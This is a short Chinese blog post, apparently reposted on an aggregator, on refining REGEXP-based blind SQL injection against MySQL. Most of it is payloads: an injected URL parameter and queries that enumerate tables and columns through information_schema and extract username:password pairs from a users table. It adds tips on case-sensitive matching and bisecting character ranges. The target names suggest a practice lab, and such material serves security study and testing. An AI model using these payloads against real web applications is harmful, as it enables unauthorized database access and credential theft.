首页 > 其他 > 详细

regexp盲注的一些改进

时间:2018-03-04 22:50:20      阅读:229      评论:0      收藏:0      [点我收藏+]
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP ‘^[a-z]‘ LIMIT 0,1) /*

  这是之前看别人的文章写的exp,觉得有点啰嗦,其实可以很直白的写

select group_concat(table_name) from information_schema.tables where table_schema=security;
select((select group_concat(table_name) from information_schema.tables where table_schema=security) regexp binary ^e);
select group_concat(column_name) from information_schema.columns where table_name=users;
select((select group_concat(column_name) from information_schema.columns where table_name=users) regexp binary ^i);
select group_concat(username,:,password) from security.users;
select((select group_concat(username,:,password) from security.users) regexp binary ^D);

几个注意点

1 可以直接用group_concat全部匹配出来

2 mysql中用regexp是区分大小写的,只有对取md5的时候没关系,其他时候要加上binary,不过取数据时就不用group_concat了,用limit一条一条取

3 regexp也可以用二分法 ‘^[a-z]‘ 到 ‘^[a-h]‘

regexp盲注的一些改进

原文:https://www.cnblogs.com/junmoxiao/p/8506441.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!